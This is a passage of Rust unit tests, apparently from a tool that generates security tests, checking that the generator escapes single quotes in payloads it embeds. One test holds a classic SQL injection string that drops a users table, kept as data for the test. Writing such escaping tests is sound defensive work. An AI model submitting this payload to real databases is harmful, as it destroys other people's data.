962        assert!(code.contains("POTENTIAL VULNERABILITY"));
963    }
964
965    #[test]
966    fn test_payload_escaping() {
967        let payloads = vec![SecurityPayload::new(
968            "'; DROP TABLE users; --".to_string(),
969            SecurityCategory::SqlInjection,
970            "Drop table".to_string(),
971        )];
972
973        let code = SecurityTestGenerator::generate_payload_selection(&payloads, false);
974        // Single quotes should be escaped
975        assert!(code.contains("\\'"));
976    }
977}